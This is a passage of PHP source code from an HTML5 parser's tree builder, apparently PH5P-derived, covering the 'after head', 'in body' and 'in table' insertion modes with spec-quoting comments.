// Parse error. Ignore the token.
/* Anything else */
} else {
/* If the current node is a head element, act as if an end tag
token with the tag name "head" had been seen. */
if ($this->head_pointer->isSameNode(end($this->stack))) {
$this->inHead(
array(
'name' => 'head',
'type' => HTML5::ENDTAG
)
);
/* Otherwise, change the insertion mode to "after head". */
} else {
$this->mode = self::AFTER_HEAD;
}
/* Then, reprocess the current token. */
return $this->afterHead($token);
}
}
private function afterHead($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
if ($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
) {
/* Append the character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data attribute
set to the data given in the comment token. */
$this->insertComment($token['data']);
/* A start tag token with the tag name "body" */
} elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') {
/* Insert a body element for the token. */
$this->insertElement($token);
/* Change the insertion mode to "in body". */
$this->mode = self::IN_BODY;
/* A start tag token with the tag name "frameset" */
} elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') {
/* Insert a frameset element for the token. */
$this->insertElement($token);
/* Change the insertion mode to "in frameset". */
$this->mode = self::IN_FRAME;
/* A start tag token whose tag name is one of: "base", "link", "meta",
"script", "style", "title" */
} elseif ($token['type'] === HTML5::STARTTAG && in_array(
$token['name'],
array('base', 'link', 'meta', 'script', 'style', 'title')
)
) {
/* Parse error. Switch the insertion mode back to "in head" and
reprocess the token. */
$this->mode = self::IN_HEAD;
return $this->inHead($token);
/* Anything else */
} else {
/* Act as if a start tag token with the tag name "body" and no
attributes had been seen, and then reprocess the current token. */
$this->afterHead(
array(
'name' => 'body',
'type' => HTML5::STARTTAG,
'attr' => array()
)
);
return $this->inBody($token);
}
}
private function inBody($token)
{
/* Handle the token as follows: */
switch ($token['type']) {
/* A character token */
case HTML5::CHARACTR:
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Append the token's character to the current node. */
$this->insertText($token['data']);
break;
/* A comment token */
case HTML5::COMMENT:
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$this->insertComment($token['data']);
break;
case HTML5::STARTTAG:
switch ($token['name']) {
/* A start tag token whose tag name is one of: "script",
"style" */
case 'script':
case 'style':
/* Process the token as if the insertion mode had been "in
head". */
return $this->inHead($token);
break;
/* A start tag token whose tag name is one of: "base", "link",
"meta", "title" */
case 'base':
case 'link':
case 'meta':
case 'title':
/* Parse error. Process the token as if the insertion mode
had been "in head". */
return $this->inHead($token);
break;
/* A start tag token with the tag name "body" */
case 'body':
/* Parse error. If the second element on the stack of open
elements is not a body element, or, if the stack of open
elements has only one node on it, then ignore the token.
(innerHTML case) */
if (count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') {
// Ignore
/* Otherwise, for each attribute on the token, check to see
if the attribute is already present on the body element (the
second element) on the stack of open elements. If it is not,
add the attribute and its corresponding value to that
element. */
} else {
foreach ($token['attr'] as $attr) {
if (!$this->stack[1]->hasAttribute($attr['name'])) {
$this->stack[1]->setAttribute($attr['name'], $attr['value']);
}
}
}
break;
/* A start tag whose tag name is one of: "address",
"blockquote", "center", "dir", "div", "dl", "fieldset",
"listing", "menu", "ol", "p", "ul" */
case 'address':
case 'blockquote':
case 'center':
case 'dir':
case 'div':
case 'dl':
case 'fieldset':
case 'listing':
case 'menu':
case 'ol':
case 'p':
case 'ul':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been
seen. */
if ($this->elementInScope('p')) {
$this->emitToken(
array(
'name' => 'p',
'type' => HTML5::ENDTAG
)
);
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
break;
/* A start tag whose tag name is "form" */
case 'form':
/* If the form element pointer is not null, ignore the
token with a parse error. */
if ($this->form_pointer !== null) {
// Ignore.
/* Otherwise: */
} else {
/* If the stack of open elements has a p element in
scope, then act as if an end tag with the tag name p
had been seen. */
if ($this->elementInScope('p')) {
$this->emitToken(
array(
'name' => 'p',
'type' => HTML5::ENDTAG
)
);
}
/* Insert an HTML element for the token, and set the
form element pointer to point to the element created. */
$element = $this->insertElement($token);
$this->form_pointer = $element;
}
break;
/* A start tag whose tag name is "li", "dd" or "dt" */
case 'li':
case 'dd':
case 'dt':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been
seen. */
if ($this->elementInScope('p')) {
$this->emitToken(
array(
'name' => 'p',
'type' => HTML5::ENDTAG
)
);
}
$stack_length = count($this->stack) - 1;
for ($n = $stack_length; 0 <= $n; $n--) {
/* 1. Initialise node to be the current node (the
bottommost node of the stack). */
$stop = false;
$node = $this->stack[$n];
$cat = $this->getElementCategory($node->tagName);
/* 2. If node is an li, dd or dt element, then pop all
the nodes from the current node up to node, including
node, then stop this algorithm. */
if ($token['name'] === $node->tagName || ($token['name'] !== 'li'
&& ($node->tagName === 'dd' || $node->tagName === 'dt'))
) {
for ($x = $stack_length; $x >= $n; $x--) {
array_pop($this->stack);
}
break;
}
/* 3. If node is not in the formatting category, and is
not in the phrasing category, and is not an address or
div element, then stop this algorithm. */
if ($cat !== self::FORMATTING && $cat !== self::PHRASING &&
$node->tagName !== 'address' && $node->tagName !== 'div'
) {
break;
}
}
/* Finally, insert an HTML element with the same tag
name as the token's. */
$this->insertElement($token);
break;
/* A start tag token whose tag name is "plaintext" */
case 'plaintext':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been
seen. */
if ($this->elementInScope('p')) {
$this->emitToken(
array(
'name' => 'p',
'type' => HTML5::ENDTAG
)
);
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
return HTML5::PLAINTEXT;
break;
/* A start tag whose tag name is one of: "h1", "h2", "h3", "h4",
"h5", "h6" */
case 'h1':
case 'h2':
case 'h3':
case 'h4':
case 'h5':
case 'h6':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been seen. */
if ($this->elementInScope('p')) {
$this->emitToken(
array(
'name' => 'p',
'type' => HTML5::ENDTAG
)
);
}
/* If the stack of open elements has in scope an element whose
tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then
this is a parse error; pop elements from the stack until an
element with one of those tag names has been popped from the
stack. */
while ($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) {
array_pop($this->stack);
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
break;
/* A start tag whose tag name is "a" */
case 'a':
/* If the list of active formatting elements contains
an element whose tag name is "a" between the end of the
list and the last marker on the list (or the start of
the list if there is no marker on the list), then this
is a parse error; act as if an end tag with the tag name
"a" had been seen, then remove that element from the list
of active formatting elements and the stack of open
elements if the end tag didn't already remove it (it
might not have if the element is not in table scope). */
$leng = count($this->a_formatting);
for ($n = $leng - 1; $n >= 0; $n--) {
if ($this->a_formatting[$n] === self::MARKER) {
break;
} elseif ($this->a_formatting[$n]->nodeName === 'a') {
$this->emitToken(
array(
'name' => 'a',
'type' => HTML5::ENDTAG
)
);
break;
}
}
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$el = $this->insertElement($token);
/* Add that element to the list of active formatting
elements. */
$this->a_formatting[] = $el;
break;
/* A start tag whose tag name is one of: "b", "big", "em", "font",
"i", "nobr", "s", "small", "strike", "strong", "tt", "u" */
case 'b':
case 'big':
case 'em':
case 'font':
case 'i':
case 'nobr':
case 's':
case 'small':
case 'strike':
case 'strong':
case 'tt':
case 'u':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$el = $this->insertElement($token);
/* Add that element to the list of active formatting
elements. */
$this->a_formatting[] = $el;
break;
/* A start tag token whose tag name is "button" */
case 'button':
/* If the stack of open elements has a button element in scope,
then this is a parse error; act as if an end tag with the tag
name "button" had been seen, then reprocess the token. (We don't
do that. Unnecessary.) */
if ($this->elementInScope('button')) {
$this->inBody(
array(
'name' => 'button',
'type' => HTML5::ENDTAG
)
);
}
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Insert a marker at the end of the list of active
formatting elements. */
$this->a_formatting[] = self::MARKER;
break;
/* A start tag token whose tag name is one of: "marquee", "object" */
case 'marquee':
case 'object':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Insert a marker at the end of the list of active
formatting elements. */
$this->a_formatting[] = self::MARKER;
break;
/* A start tag token whose tag name is "xmp" */
case 'xmp':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Switch the content model flag to the CDATA state. */
return HTML5::CDATA;
break;
/* A start tag whose tag name is "table" */
case 'table':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been seen. */
if ($this->elementInScope('p')) {
$this->emitToken(
array(
'name' => 'p',
'type' => HTML5::ENDTAG
)
);
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Change the insertion mode to "in table". */
$this->mode = self::IN_TABLE;
break;
/* A start tag whose tag name is one of: "area", "basefont",
"bgsound", "br", "embed", "img", "param", "spacer", "wbr" */
case 'area':
case 'basefont':
case 'bgsound':
case 'br':
case 'embed':
case 'img':
case 'param':
case 'spacer':
case 'wbr':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Immediately pop the current node off the stack of open elements. */
array_pop($this->stack);
break;
/* A start tag whose tag name is "hr" */
case 'hr':
/* If the stack of open elements has a p element in scope,
then act as if an end tag with the tag name p had been seen. */
if ($this->elementInScope('p')) {
$this->emitToken(
array(
'name' => 'p',
'type' => HTML5::ENDTAG
)
);
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Immediately pop the current node off the stack of open elements. */
array_pop($this->stack);
break;
/* A start tag whose tag name is "image" */
case 'image':
/* Parse error. Change the token's tag name to "img" and
reprocess it. (Don't ask.) */
$token['name'] = 'img';
return $this->inBody($token);
break;
/* A start tag whose tag name is "input" */
case 'input':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an input element for the token. */
$element = $this->insertElement($token, false);
/* If the form element pointer is not null, then associate the
input element with the form element pointed to by the form
element pointer. */
$this->form_pointer !== null
? $this->form_pointer->appendChild($element)
: end($this->stack)->appendChild($element);
/* Pop that input element off the stack of open elements. */
array_pop($this->stack);
break;
/* A start tag whose tag name is "isindex" */
case 'isindex':
/* Parse error. */
// w/e
/* If the form element pointer is not null,
then ignore the token. */
if ($this->form_pointer === null) {
/* Act as if a start tag token with the tag name "form" had
been seen. */
$this->inBody(
array(
'name' => 'body',
'type' => HTML5::STARTTAG,
'attr' => array()
)
);
/* Act as if a start tag token with the tag name "hr" had
been seen. */
$this->inBody(
array(
'name' => 'hr',
'type' => HTML5::STARTTAG,
'attr' => array()
)
);
/* Act as if a start tag token with the tag name "p" had
been seen. */
$this->inBody(
array(
'name' => 'p',
'type' => HTML5::STARTTAG,
'attr' => array()
)
);
/* Act as if a start tag token with the tag name "label"
had been seen. */
$this->inBody(
array(
'name' => 'label',
'type' => HTML5::STARTTAG,
'attr' => array()
)
);
/* Act as if a stream of character tokens had been seen. */
$this->insertText(
'This is a searchable index. ' .
'Insert your search keywords here: '
);
/* Act as if a start tag token with the tag name "input"
had been seen, with all the attributes from the "isindex"
token, except with the "name" attribute set to the value
"isindex" (ignoring any explicit "name" attribute). */
$attr = $token['attr'];
$attr[] = array('name' => 'name', 'value' => 'isindex');
$this->inBody(
array(
'name' => 'input',
'type' => HTML5::STARTTAG,
'attr' => $attr
)
);
/* Act as if a stream of character tokens had been seen
(see below for what they should say). */
$this->insertText(
'This is a searchable index. ' .
'Insert your search keywords here: '
);
/* Act as if an end tag token with the tag name "label"
had been seen. */
$this->inBody(
array(
'name' => 'label',
'type' => HTML5::ENDTAG
)
);
/* Act as if an end tag token with the tag name "p" had
been seen. */
$this->inBody(
array(
'name' => 'p',
'type' => HTML5::ENDTAG
)
);
/* Act as if a start tag token with the tag name "hr" had
been seen. */
$this->inBody(
array(
'name' => 'hr',
'type' => HTML5::ENDTAG
)
);
/* Act as if an end tag token with the tag name "form" had
been seen. */
$this->inBody(
array(
'name' => 'form',
'type' => HTML5::ENDTAG
)
);
}
break;
/* A start tag whose tag name is "textarea" */
case 'textarea':
$this->insertElement($token);
/* Switch the tokeniser's content model flag to the
RCDATA state. */
return HTML5::RCDATA;
break;
/* A start tag whose tag name is one of: "iframe", "noembed",
"noframes" */
case 'iframe':
case 'noembed':
case 'noframes':
$this->insertElement($token);
/* Switch the tokeniser's content model flag to the CDATA state. */
return HTML5::CDATA;
break;
/* A start tag whose tag name is "select" */
case 'select':
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Change the insertion mode to "in select". */
$this->mode = self::IN_SELECT;
break;
/* A start or end tag whose tag name is one of: "caption", "col",
"colgroup", "frame", "frameset", "head", "option", "optgroup",
"tbody", "td", "tfoot", "th", "thead", "tr". */
case 'caption':
case 'col':
case 'colgroup':
case 'frame':
case 'frameset':
case 'head':
case 'option':
case 'optgroup':
case 'tbody':
case 'td':
case 'tfoot':
case 'th':
case 'thead':
case 'tr':
// Parse error. Ignore the token.
break;
/* A start or end tag whose tag name is one of: "event-source",
"section", "nav", "article", "aside", "header", "footer",
"datagrid", "command" */
case 'event-source':
case 'section':
case 'nav':
case 'article':
case 'aside':
case 'header':
case 'footer':
case 'datagrid':
case 'command':
// Work in progress!
break;
/* A start tag token not covered by the previous entries */
default:
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
$this->insertElement($token, true, true);
break;
}
break;
case HTML5::ENDTAG:
switch ($token['name']) {
/* An end tag with the tag name "body" */
case 'body':
/* If the second element in the stack of open elements is
not a body element, this is a parse error. Ignore the token.
(innerHTML case) */
if (count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') {
// Ignore.
/* If the current node is not the body element, then this
is a parse error. */
} elseif (end($this->stack)->nodeName !== 'body') {
// Parse error.
}
/* Change the insertion mode to "after body". */
$this->mode = self::AFTER_BODY;
break;
/* An end tag with the tag name "html" */
case 'html':
/* Act as if an end tag with tag name "body" had been seen,
then, if that token wasn't ignored, reprocess the current
token. */
$this->inBody(
array(
'name' => 'body',
'type' => HTML5::ENDTAG
)
);
return $this->afterBody($token);
break;
/* An end tag whose tag name is one of: "address", "blockquote",
"center", "dir", "div", "dl", "fieldset", "listing", "menu",
"ol", "pre", "ul" */
case 'address':
case 'blockquote':
case 'center':
case 'dir':
case 'div':
case 'dl':
case 'fieldset':
case 'listing':
case 'menu':
case 'ol':
case 'pre':
case 'ul':
/* If the stack of open elements has an element in scope
with the same tag name as that of the token, then generate
implied end tags. */
if ($this->elementInScope($token['name'])) {
$this->generateImpliedEndTags();
/* Now, if the current node is not an element with
the same tag name as that of the token, then this
is a parse error. */
// w/e
/* If the stack of open elements has an element in
scope with the same tag name as that of the token,
then pop elements from this stack until an element
with that tag name has been popped from the stack. */
for ($n = count($this->stack) - 1; $n >= 0; $n--) {
if ($this->stack[$n]->nodeName === $token['name']) {
$n = -1;
}
array_pop($this->stack);
}
}
break;
/* An end tag whose tag name is "form" */
case 'form':
/* If the stack of open elements has an element in scope
with the same tag name as that of the token, then generate
implied end tags. */
if ($this->elementInScope($token['name'])) {
$this->generateImpliedEndTags();
}
if (end($this->stack)->nodeName !== $token['name']) {
/* Now, if the current node is not an element with the
same tag name as that of the token, then this is a parse
error. */
// w/e
} else {
/* Otherwise, if the current node is an element with
the same tag name as that of the token pop that element
from the stack. */
array_pop($this->stack);
}
/* In any case, set the form element pointer to null. */
$this->form_pointer = null;
break;
/* An end tag whose tag name is "p" */
case 'p':
/* If the stack of open elements has a p element in scope,
then generate implied end tags, except for p elements. */
if ($this->elementInScope('p')) {
$this->generateImpliedEndTags(array('p'));
/* If the current node is not a p element, then this is
a parse error. */
// k
/* If the stack of open elements has a p element in
scope, then pop elements from this stack until the stack
no longer has a p element in scope. */
for ($n = count($this->stack) - 1; $n >= 0; $n--) {
if ($this->elementInScope('p')) {
array_pop($this->stack);
} else {
break;
}
}
}
break;
/* An end tag whose tag name is "dd", "dt", or "li" */
case 'dd':
case 'dt':
case 'li':
/* If the stack of open elements has an element in scope
whose tag name matches the tag name of the token, then
generate implied end tags, except for elements with the
same tag name as the token. */
if ($this->elementInScope($token['name'])) {
$this->generateImpliedEndTags(array($token['name']));
/* If the current node is not an element with the same
tag name as the token, then this is a parse error. */
// w/e
/* If the stack of open elements has an element in scope
whose tag name matches the tag name of the token, then
pop elements from this stack until an element with that
tag name has been popped from the stack. */
for ($n = count($this->stack) - 1; $n >= 0; $n--) {
if ($this->stack[$n]->nodeName === $token['name']) {
$n = -1;
}
array_pop($this->stack);
}
}
break;
/* An end tag whose tag name is one of: "h1", "h2", "h3", "h4",
"h5", "h6" */
case 'h1':
case 'h2':
case 'h3':
case 'h4':
case 'h5':
case 'h6':
$elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6');
/* If the stack of open elements has in scope an element whose
tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then
generate implied end tags. */
if ($this->elementInScope($elements)) {
$this->generateImpliedEndTags();
/* Now, if the current node is not an element with the same
tag name as that of the token, then this is a parse error. */
// w/e
/* If the stack of open elements has in scope an element
whose tag name is one of "h1", "h2", "h3", "h4", "h5", or
"h6", then pop elements from the stack until an element
with one of those tag names has been popped from the stack. */
while ($this->elementInScope($elements)) {
array_pop($this->stack);
}
}
break;
/* An end tag whose tag name is one of: "a", "b", "big", "em",
"font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */
case 'a':
case 'b':
case 'big':
case 'em':
case 'font':
case 'i':
case 'nobr':
case 's':
case 'small':
case 'strike':
case 'strong':
case 'tt':
case 'u':
/* 1. Let the formatting element be the last element in
the list of active formatting elements that:
* is between the end of the list and the last scope
marker in the list, if any, or the start of the list
otherwise, and
* has the same tag name as the token.
*/
while (true) {
for ($a = count($this->a_formatting) - 1; $a >= 0; $a--) {
if ($this->a_formatting[$a] === self::MARKER) {
break;
} elseif ($this->a_formatting[$a]->tagName === $token['name']) {
$formatting_element = $this->a_formatting[$a];
$in_stack = in_array($formatting_element, $this->stack, true);
$fe_af_pos = $a;
break;
}
}
/* If there is no such node, or, if that node is
also in the stack of open elements but the element
is not in scope, then this is a parse error. Abort
these steps. The token is ignored. */
if (!isset($formatting_element) || ($in_stack &&
!$this->elementInScope($token['name']))
) {
break;
/* Otherwise, if there is such a node, but that node
is not in the stack of open elements, then this is a
parse error; remove the element from the list, and
abort these steps. */
} elseif (isset($formatting_element) && !$in_stack) {
unset($this->a_formatting[$fe_af_pos]);
$this->a_formatting = array_merge($this->a_formatting);
break;
}
/* 2. Let the furthest block be the topmost node in the
stack of open elements that is lower in the stack
than the formatting element, and is not an element in
the phrasing or formatting categories. There might
not be one. */
$fe_s_pos = array_search($formatting_element, $this->stack, true);
$length = count($this->stack);
for ($s = $fe_s_pos + 1; $s < $length; $s++) {
$category = $this->getElementCategory($this->stack[$s]->nodeName);
if ($category !== self::PHRASING && $category !== self::FORMATTING) {
$furthest_block = $this->stack[$s];
}
}
/* 3. If there is no furthest block, then the UA must
skip the subsequent steps and instead just pop all
the nodes from the bottom of the stack of open
elements, from the current node up to the formatting
element, and remove the formatting element from the
list of active formatting elements. */
if (!isset($furthest_block)) {
for ($n = $length - 1; $n >= $fe_s_pos; $n--) {
array_pop($this->stack);
}
unset($this->a_formatting[$fe_af_pos]);
$this->a_formatting = array_merge($this->a_formatting);
break;
}
/* 4. Let the common ancestor be the element
immediately above the formatting element in the stack
of open elements. */
$common_ancestor = $this->stack[$fe_s_pos - 1];
/* 5. If the furthest block has a parent node, then
remove the furthest block from its parent node. */
if ($furthest_block->parentNode !== null) {
$furthest_block->parentNode->removeChild($furthest_block);
}
/* 6. Let a bookmark note the position of the
formatting element in the list of active formatting
elements relative to the elements on either side
of it in the list. */
$bookmark = $fe_af_pos;
/* 7. Let node and last node be the furthest block.
Follow these steps: */
$node = $furthest_block;
$last_node = $furthest_block;
while (true) {
for ($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) {
/* 7.1 Let node be the element immediately
prior to node in the stack of open elements. */
$node = $this->stack[$n];
/* 7.2 If node is not in the list of active
formatting elements, then remove node from
the stack of open elements and then go back
to step 1. */
if (!in_array($node, $this->a_formatting, true)) {
unset($this->stack[$n]);
$this->stack = array_merge($this->stack);
} else {
break;
}
}
/* 7.3 Otherwise, if node is the formatting
element, then go to the next step in the overall
algorithm. */
if ($node === $formatting_element) {
break;
/* 7.4 Otherwise, if last node is the furthest
block, then move the aforementioned bookmark to
be immediately after the node in the list of
active formatting elements. */
} elseif ($last_node === $furthest_block) {
$bookmark = array_search($node, $this->a_formatting, true) + 1;
}
/* 7.5 If node has any children, perform a
shallow clone of node, replace the entry for
node in the list of active formatting elements
with an entry for the clone, replace the entry
for node in the stack of open elements with an
entry for the clone, and let node be the clone. */
if ($node->hasChildNodes()) {
$clone = $node->cloneNode();
$s_pos = array_search($node, $this->stack, true);
$a_pos = array_search($node, $this->a_formatting, true);
$this->stack[$s_pos] = $clone;
$this->a_formatting[$a_pos] = $clone;
$node = $clone;
}
/* 7.6 Insert last node into node, first removing
it from its previous parent node if any. */
if ($last_node->parentNode !== null) {
$last_node->parentNode->removeChild($last_node);
}
$node->appendChild($last_node);
/* 7.7 Let last node be node. */
$last_node = $node;
}
/* 8. Insert whatever last node ended up being in
the previous step into the common ancestor node,
first removing it from its previous parent node if
any. */
if ($last_node->parentNode !== null) {
$last_node->parentNode->removeChild($last_node);
}
$common_ancestor->appendChild($last_node);
/* 9. Perform a shallow clone of the formatting
element. */
$clone = $formatting_element->cloneNode();
/* 10. Take all of the child nodes of the furthest
block and append them to the clone created in the
last step. */
while ($furthest_block->hasChildNodes()) {
$child = $furthest_block->firstChild;
$furthest_block->removeChild($child);
$clone->appendChild($child);
}
/* 11. Append that clone to the furthest block. */
$furthest_block->appendChild($clone);
/* 12. Remove the formatting element from the list
of active formatting elements, and insert the clone
into the list of active formatting elements at the
position of the aforementioned bookmark. */
$fe_af_pos = array_search($formatting_element, $this->a_formatting, true);
unset($this->a_formatting[$fe_af_pos]);
$this->a_formatting = array_merge($this->a_formatting);
$af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1);
$af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting));
$this->a_formatting = array_merge($af_part1, array($clone), $af_part2);
/* 13. Remove the formatting element from the stack
of open elements, and insert the clone into the stack
of open elements immediately after (i.e. in a more
deeply nested position than) the position of the
furthest block in that stack. */
$fe_s_pos = array_search($formatting_element, $this->stack, true);
$fb_s_pos = array_search($furthest_block, $this->stack, true);
unset($this->stack[$fe_s_pos]);
$s_part1 = array_slice($this->stack, 0, $fb_s_pos);
$s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack));
$this->stack = array_merge($s_part1, array($clone), $s_part2);
/* 14. Jump back to step 1 in this series of steps. */
unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block);
}
break;
/* An end tag token whose tag name is one of: "button",
"marquee", "object" */
case 'button':
case 'marquee':
case 'object':
/* If the stack of open elements has an element in scope whose
tag name matches the tag name of the token, then generate implied
tags. */
if ($this->elementInScope($token['name'])) {
$this->generateImpliedEndTags();
/* Now, if the current node is not an element with the same
tag name as the token, then this is a parse error. */
// k
/* Now, if the stack of open elements has an element in scope
whose tag name matches the tag name of the token, then pop
elements from the stack until that element has been popped from
the stack, and clear the list of active formatting elements up
to the last marker. */
for ($n = count($this->stack) - 1; $n >= 0; $n--) {
if ($this->stack[$n]->nodeName === $token['name']) {
$n = -1;
}
array_pop($this->stack);
}
$marker = end(array_keys($this->a_formatting, self::MARKER, true));
for ($n = count($this->a_formatting) - 1; $n > $marker; $n--) {
array_pop($this->a_formatting);
}
}
break;
/* Or an end tag whose tag name is one of: "area", "basefont",
"bgsound", "br", "embed", "hr", "iframe", "image", "img",
"input", "isindex", "noembed", "noframes", "param", "select",
"spacer", "table", "textarea", "wbr" */
case 'area':
case 'basefont':
case 'bgsound':
case 'br':
case 'embed':
case 'hr':
case 'iframe':
case 'image':
case 'img':
case 'input':
case 'isindex':
case 'noembed':
case 'noframes':
case 'param':
case 'select':
case 'spacer':
case 'table':
case 'textarea':
case 'wbr':
// Parse error. Ignore the token.
break;
/* An end tag token not covered by the previous entries */
default:
for ($n = count($this->stack) - 1; $n >= 0; $n--) {
/* Initialise node to be the current node (the bottommost
node of the stack). */
$node = end($this->stack);
/* If node has the same tag name as the end tag token,
then: */
if ($token['name'] === $node->nodeName) {
/* Generate implied end tags. */
$this->generateImpliedEndTags();
/* If the tag name of the end tag token does not
match the tag name of the current node, this is a
parse error. */
// k
/* Pop all the nodes from the current node up to
node, including node, then stop this algorithm. */
for ($x = count($this->stack) - $n; $x >= $n; $x--) {
array_pop($this->stack);
}
} else {
$category = $this->getElementCategory($node);
if ($category !== self::SPECIAL && $category !== self::SCOPING) {
/* Otherwise, if node is in neither the formatting
category nor the phrasing category, then this is a
parse error. Stop this algorithm. The end tag token
is ignored. */
return false;
}
}
}
break;
}
break;
}
}
private function inTable($token)
{
$clear = array('html', 'table');
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
if ($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
) {
/* Append the character to the current node. */
$text = $this->dom->createTextNode($token['data']);
end($this->stack)->appendChild($text);
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$comment = $this->dom->createComment($token['data']);
end($this->stack)->appendChild($comment);
/* A start tag whose tag name is "caption" */
} elseif ($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'caption'
) {
/* Clear the stack back to a table context. */
$this->clearStackToTableContext($clear);
/* Insert a marker at the end of the list of active
formatting elements. */
$this->a_formatting[] = self::MARKER;
/* Insert an HTML element for the token, then switch the
insertion mode to "in caption". */
$this->insertElement($token);
$this->mode = self::IN_CAPTION;
/* A start tag whose tag name is "colgroup" */
} elseif ($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'colgroup'
) {
/* Clear the stack back to a table context. */
$this->clearStackToTableContext($clear);
/* Insert an HTML element for the token, then switch the
insertion mode to "in column group". */
$this->insertElement($token);
$this->mode = self::IN_CGROUP;
/* A start tag whose tag name is "col" */
} elseif ($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'col'
) {
$this->inTable(
array(
'name' => 'colgroup',
'type' => HTML5::STARTTAG,
'attr' => array()
)
);
$this->inColumnGroup($token);
/* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */
} elseif ($token['type'] === HTML5::STARTTAG && in_array(
$token['name'],
array('tbody', 'tfoot', 'thead')
)
) {
/* Clear the stack back to a table context. */
$this->clearStackToTableContext($clear);
/* Insert an HTML element for the token, then switch the insertion
mode to "in table body". */
$this->insertElement($token);
$this->mode = self::IN_TBODY;
/* A start tag whose tag name is one of: "td", "th", "tr" */
} elseif ($token['type'] === HTML5::STARTTAG &&
in_array($token['name'], array('td', 'th', 'tr'))
) {
/* Act as if a start tag token with the tag name "tbody" had been
seen, then reprocess the current token. */
$this->inTable(
array(
'name' => 'tbody',
'type' => HTML5::STARTTAG,
'attr' => array()
)
);
return $this->inTableBody($token);
/* A start tag whose tag name is "table" */
} elseif ($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'table'
) {
/* Parse error. Act as if an end tag token with the tag name "table"
had been seen, then, if that token wasn't ignored, reprocess the
current token. */
$this->inTable(
array(
'name' => 'table',
'type' => HTML5::ENDTAG
)
);
return $this->mainPhase($token);
/* An end tag whose tag name is "table" */
} elseif ($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'table'
) {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. (innerHTML case) */
if (!$this->elementInScope($token['name'], true)) {
return false;
/* Otherwise: */
} else {
/* Generate implied end tags. */
$this->generateImpliedEndTags();
/* Now, if the current node is not a table element, then this
is a parse error. */
// w/e
/* Pop elements from this stack until a table element has been
popped from the stack. */
while (true) {
$current = end($this->stack)->nodeName;
array_pop($this->stack);
if ($current === 'table') {
break;
}
}
/* Reset the insertion mode appropriately. */
$this->resetInsertionMode();
}
/* An end tag whose tag name is one of: "body", "caption", "col",
"colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */
} elseif ($token['type'] === HTML5::ENDTAG && in_array(
$token['name'],
array(
'body',
'caption',
'col',
'colgroup',
'html',
'tbody',
'td',
'tfoot',
'th',
'thead',
'tr'
)
)
) {
// Parse error. Ignore the token.
/* Anything else */
} else {
/* Parse error. Process the token as if the insertion mode was "in
body", with the following exception: */
/* If the current node is a table, tbody, tfoot, thead, or tr
element, then, whenever a node would be inserted into the current
node, it must instead be inserted into the foster parent element. */
if (in_array(
end($this->stack)->nodeName,
array('table', 'tbody', 'tfoot', 'thead', 'tr')
)
) {
/* The foster parent element is the parent element of the last
table element in the stack of open elements, if there is a
table element and it has such a parent element. If there is no
table element in the stack of open elements (innerHTML case),
